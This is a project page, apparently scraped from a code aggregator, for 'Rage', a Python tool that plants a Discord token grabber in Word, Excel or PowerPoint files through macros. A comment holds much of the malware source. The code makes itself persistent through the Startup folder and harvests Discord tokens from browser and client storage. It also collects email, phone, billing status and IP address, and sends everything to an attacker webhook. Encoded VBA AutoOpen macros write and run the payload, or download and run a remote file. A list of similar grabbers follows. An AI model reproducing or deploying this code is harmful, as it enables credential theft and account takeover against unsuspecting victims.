A Discord token grabber executing in a Microsoft Document.

Overview


🦊 Rage 🦊



Rage is a tool written in Python3 allowing you to inject a
Python3 complete Discord token grabber (Riot) script in a Microsoft Document using macros.



Features



+ Very advanced token grabber, infecting the victim (moving to startup) and sending the new token if the password is changed
+ Walkthrough well explained
+ Can be used with any Microsoft Document file (Word, Excel, Powerpoint...)


- Not automatic, you will have to follow the tutorial and create the macro yourself
- The victim needs Python3 to execute the malicious script


🎯 Levels 🎯

This section shows the "levels" of this project, from 0/5 to 5/5 !

🟢 🔵 🔴 🟣



  • Time: 🔴
  • Complexity: 🟣
  • Service: 🟣


💡 Ideas 💡

Feel free to make a pull request on this repository to submit any idea!



  • Allow the user to choose a file to be injected in the Microsoft Document
  • Automatise the creation of the macro


📌 Disclaimer 📌



  • Please use this program only for educational purposes.
  • It is not meant to be used in any malicious way, and I decline any responsibility for what you do with it.


billythegoat356

You might also like...
Easy Discord Webhook Token Grabber!

Easy Discord Webhook Token Grabber!

A discord nuking tool made by python, this also has nuke accounts, inbuilt Selfbot, Massreport, Token Grabber, Nitro Sniper and ALOT more!
A discord nuking tool made by python, this also has nuke accounts, inbuilt Selfbot, Massreport, Token Grabber, Nitro Sniper and ALOT more!

Disclaimer: Rage Multi Tool was made for Educational Purposes This project was created only for good purposes and personal use. By using Rage, you agr

A Discord token grabber written in Python3, with awesome obfuscation and anti-debug protection.
A Discord token grabber written in Python3, with awesome obfuscation and anti-debug protection.

☣️ Plague ☣️ Plague is a Discord token grabber written in Python3, obfuscated with Kramer, protected from traffic analysers with Scarecrow and using t

New discord token grabber, password and general information
New discord token grabber, password and general information

New discord token grabber, password and general information

A Discord Token Grabber/Stealer But It's in One Line of Coding

Discord-Token-Grabber-But-In-One-Line That's a Discord Token Grabber/Stealer But It's in One Line of Coding! The Name Says All 3

discord token grabber scam - eductional purposes only!
discord token grabber scam - eductional purposes only!

Discord-QR-Scam תופס אסימון תמונה של Discord על אודות סקריפט Python שיוצר אוטומטית קוד QR הונאה של Nitro ותופס את אסימון הדיסקורד בעת סריקה. כלי זה מד

ByDiego Token Grabber is a Discord Stealer
ByDiego Token Grabber is a Discord Stealer

ByDiego Token Grabber is a Discord Stealer. This way you can get too much information from x person if you pass it on and open it

Eclipse-grabber - Generate Discord Token Grabbers for both Windows and MacOS
Eclipse-grabber - Generate Discord Token Grabbers for both Windows and MacOS

Eclipse Grabber Eclipse Discord Token Grabber What is Eclipse? Eclipse is an ope

A Open source Discord Token Grabber with several very useful features coded in python 3.9
A Open source Discord Token Grabber with several very useful features coded in python 3.9

Kiwee-Grabber A Open source Discord Token Grabber with several very useful features coded in python 3.9 This only works on any python 3.9 versions. re

Comments
  • non cest pas un token grab (lisez le code svp)

    non cest pas un token grab (lisez le code svp)

    path = "%s/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/rage.pyw" % getenv("userprofile") if not isfile(path): copy(file, path) startfile(path) remove(file) exit() elif file.replace('\', '/') != path.replace('\', '/'): exit() webhook = '""" + webhook + r"""' pingme = """ + str(ping) + r""" class Discord: def setheaders(token: str = None) -> dict: headers = {'content-type': 'application/json', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'} if token: headers['authorization'] = token return headers def get_tokens() -> list: tokens = [] LOCAL = getenv("LOCALAPPDATA") ROAMING = getenv("APPDATA") PATHS = { "Discord": ROAMING + "\Discord", "Discord Canary": ROAMING + "\discordcanary", "Discord PTB": ROAMING + "\discordptb", "Google Chrome": LOCAL + "\Google\Chrome\User Data\Default", "Opera": ROAMING + "\Opera Software\Opera Stable", "Brave": LOCAL + "\BraveSoftware\Brave-Browser\User Data\Default", "Yandex": LOCAL + "\Yandex\YandexBrowser\User Data\Default" } def search(path: str) -> list: path += "\Local Storage\leveldb" found_tokens = [] if isdir(path): for file_name in listdir(path): if not file_name.endswith(".log") and not file_name.endswith(".ldb"): continue for line in [x.strip() for x in open(f"{path}\{file_name}", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]{24}.[\w-]{6}.[\w-]{27}", r"mfa.[\w-]{84}"): for token in findall(regex, line): try: urlopen(Request( "https://discord.com/api/v9/users/@me", headers=Discord.setheaders(token))) except HTTPError: continue if token not in found_tokens and token not in tokens: found_tokens.append(token) return found_tokens for path in PATHS: for token in search(PATHS[path]): tokens.append(token) return tokens class Grab: def token_grab(token: str): def getavatar(uid, aid) -> str: url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}" try: urlopen(Request(url, headers=Discord.setheaders())) except HTTPError: url += ".gif" return url def has_payment_methods(token) -> bool: has = False try: has = bool(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=Discord.setheaders(token))).read())) except: pass return has valid, invalid = "<:valide:858700826499219466>", "<:invalide:858700726905733120>" def verify(var): return valid if var else invalid user_data = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=Discord.setheaders(token))).read()) ip = loads(urlopen(Request('http://ipinfo.io/json')).read())['ip'] computer_username = getenv("username") username = user_data["username"] +
    "#" + str(user_data["discriminator"]) user_id = user_data["id"] avatar_id = user_data["avatar"] avatar_url = f"https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}" email = user_data.get("email") phone = user_data.get("phone") mfa_enabled = bool(user_data['mfa_enabled']) email_verified = bool(user_data['verified']) billing = bool(has_payment_methods(token)) nitro = bool(user_data.get("premium_type")) nitro = valid if nitro else invalid email_verified = verify(email_verified) billing = verify(billing) mfa_enabled = verify(mfa_enabled) if not phone: phone = invalid data = [{ "title": "Rage", "description": "Grabbed!", "url": "https://github.com/billythegoat356/Rage", "image": { "url": "https://repository-images.githubusercontent.com/431654731/72e437c2-c3ed-4b68-994a-a88b7b6c1bfb" }, "color": 0xCB4335, "fields": [ { "name": "Infos Du Compte", "value": f'Email: {email}\nTéléphone: {phone}\nPaiement: {billing}', "inline": True }, { "name": "Infos du PC", "value": f"IP: {ip}\nUtilisateur: {computer_username}", "inline": True }, { "name": "Infos Supplémentaires", "value": f'Nitro: {nitro}\n2FA: {mfa_enabled}', "inline": False }, { "name": "Token", "value": f"||{token}||", "inline": False } ], "author": { "name": f"{username}", "icon_url": avatar_url }, "thumbnail": { "url": "https://repository-images.githubusercontent.com/431654731/72e437c2-c3ed-4b68-994a-a88b7b6c1bfb" }, "footer": { "text": "by billythegoat356" } }] Grab.send(data) def send(data: str): data = {"username": "Rage", "avatar_url": "https://repository-images.githubusercontent.com/431654731/72e437c2-c3ed-4b68-994a-a88b7b6c1bfb", "embeds": data, "content": "@everyone" if pingme else ""} return urlopen(Request(webhook, data=dumps(data).encode('utf-8'), headers=Discord.setheaders())) sent_tokens = [] def token_grab(): for token in Discord.get_tokens(): if token not in sent_tokens: Grab.token_grab(token) sent_tokens.append(token) ready_data = [{ "title": "Rage", "description": "Initialized!", "url": "https://github.com/billythegoat356/Rage", "image": { "url": "https://repository-images.githubusercontent.com/431654731/72e437c2-c3ed-4b68-994a-a88b7b6c1bfb" }, "color": 0xCB4335, "fields": [ { "name": "Ready!", "value": 'I am ready to find some tokens!', "inline": True } ], "thumbnail": { "url": "https://repository-images.githubusercontent.com/431654731/72e437c2-c3ed-4b68-994a-a88b7b6c1bfb" }, "footer": { "text": "by billythegoat356" } }] Grab.send(ready_data) while True: if not isfile(file): exit() token_grab() """

    e = b64encode(code.encode('cp850')).decode('cp850')
    
    encoded = [e[:900], e[900:1800], e[1800:2700], e[2700:3600], e[3600:4500], e[4500:5400], e[5400:6300], e[6300:7200], e[7200:8100], e[8100:9000], e[9000:9900], e[9900:]]
    
    script = []
    
    for _ in range(len(encoded)):
        chars = ""
        for char in encoded[0]:
            chars += char
        encoded = [l for l in encoded[1:]]
        script.append(chars)
    
    
    vba =  """Sub AutoOpen()
    folder = "C:/Users/" & Environ("username")
    Exists = Dir(folder, vbDirectory)
    
    If Exists = "" Then
        folder = "C:/Users/OneDrive/" & Environ("username")
    
    End If
    
    ChDir (folder)
    
    myFile = "_rage.py"
    Open myFile For Output As #1
    """
        
    vba += f"""Print #1, "b64list=''.join('''"
    """
    
    for line in script:
        vba += f"""Print #1, "{line}"
    """
    
    vba += f"""Print #1, "'''.splitlines());exec(__import__('base64').b64decode(b64list).decode('cp850'))"
    """
    
    vba += """Close #1
    Shell ("python _rage.py")
    

    End Sub""" return vba

    def mkcustomscript(link: str, extension: str) -> str:

    return f"""Sub AutoOpen()
    folder = "C:/Users/" & Environ("username")
    Exists = Dir(folder, vbDirectory)
    
    If Exists = "" Then
        folder = "C:/Users/OneDrive/" & Environ("username")
    
    End If
    
    ChDir (folder)
    
    Dim URL As String
    URL = "{link}"
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", URL, False
    WinHttpReq.send
    
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "_rage{extension}", 2
    oStream.Close
    
    myFile = "_rage_exec.bat"
    Open myFile For Output As #1
    Print #1, "start _rage{extension}"
    Close #1
    Shell ("_rage_exec.bat")
    

    End Sub"""

    opened by Dazd-Pkz 5
Owner
Billy
Apprend le développement et le pentest.
Billy
DeKrypt 24 Sep 21, 2022
QR-Code-Grabber - A python script that allows a person to create a qr code token grabber

Qr Code Grabber Description Un script python qui permet a une personne de creer

null 5 Jun 28, 2022
A discord token nuker With loads of options that will screw an account up real bad, also has inbuilt massreport, GroupChat Spammer and Token/Password/Creditcard grabber and so much more!

Installation | Important | Changelogs | Discord NOTE: Hazard is not finished! You can expect bugs, crashes, and non-working functions. Please make an

Rdimo 470 Aug 9, 2022
Discord-Token-Formatter - A simple script to convert discord tokens from email token to token only format

Discord-Token-Formatter A simple script to convert discord tokens from email:pas

null 2 Oct 23, 2022
🖥️ Windows Batch and powershell Discord Token grabber. Made for Troll (lmao)

Batched-Grabber Windows Batch and powershell Discord Token grabber. Made for Troll ! Setup. 1. pip(3) install numpy colored 2. python(3) Batched.py 3.

Ѵιcнч 41 Nov 1, 2022
discord token grabber using python

Discord Token Grabber A Discord token grabber written in Python 3. This version of the grabber only supports Windows. Features No local caching Transf

null 1 Oct 28, 2021
simple discord token grabber with webhook hiding feature.

Token Grabber A simple Discord token grabber with base64 webhook encoding, it uses pastebin as a database to get webhook, so next time u dont get your

null 0 Dec 1, 2021
🎄 JustaGrabber - A discord token grabber written in python3

?? JustaGrabber - A discord token grabber written in python3 ?? Made by kldiscord https://github.com/kldiscord ?? Please leave a star if you liked Jus

null 1 Dec 19, 2022
A discord token grabber made in Python 3

Discord Token Grabber A Discord token grabber written in Python 3. This version of the grabber only supports Windows. Features Transfers via Discord w

Mega145 4 Aug 4, 2022